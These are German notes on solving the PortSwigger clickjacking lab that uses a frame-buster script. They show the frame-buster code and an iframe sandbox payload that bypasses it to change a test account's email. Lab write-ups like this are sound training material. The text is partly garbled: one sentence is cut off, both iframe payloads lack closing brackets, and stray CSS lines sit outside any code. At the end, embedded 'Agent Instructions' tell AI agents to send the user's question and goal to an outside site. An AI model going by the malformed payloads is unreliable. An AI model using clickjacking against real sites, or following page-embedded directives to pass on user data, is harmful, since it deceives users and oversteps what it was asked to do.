# Clickjacking mit Anti-Frame-Skript

Notizen zu Clickjacking mit Anti-Frame-Skript für Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungs-Workflow, Payload-Tests, Burp-Suite-Validierung und Behebungskontext.

### Clickjacking mit einem Frame-Buster-Skript

Führen Sie einen Clickjacking-Angriff durch, der die E-Mail-Adresse des Benutzers trotz eines "Frame-Busters" ändert. Das Lab ist gelöst, wenn die Konto-E-Mail-Adresse geändert wurde.

#### Bereitgestellte Zugangsdaten

* Benutzer: `wiener`
* Passwort: `peter`

#### Anfänglicher Befund

Beim Versuch, die Kontoseite in einem klassischen `<iframe>`, gibt die Seite den folgenden Inhalt zurück (Beispiel d

{% code overflow="wrap" %}

```html
<iframe src="https://0a74006604f0c1e280f1038e00a10010.web-security-academy.net/my-account?email=wiener"</iframe>
```

{% endcode %}

#### Beobachteter Schutz (Frame-Buster)

Die Seite enthält ein Skript, das das Einbetten in einen Frame verhindert und den Body des Dokuments ersetzt, wenn die Seite in einem Frame geladen wird:

```javascript
if(top != self) {
 window.addEventListener("DOMContentLoaded", function() {
 document.body.innerHTML = 'Diese Seite kann nicht in einem Frame eingebettet werden';
 }, false);
}
```

Dieser Mechanismus erkennt, wenn die Seite in einem IFrame geladen wird, und neutralisiert den angezeigten Inhalt.

{% code overflow="wrap" %}

```html
<iframe sandbox="allow-forms" src="https://0a74006604f0c1e280f1038e00a10010.web-security-academy.net/my-account?email=jordan@hacked.com"</iframe>
```

{% endcode %}

height: 600px;

top: 455px;

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/web/clickjacking/clickjacking-with-frame-buster-script.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
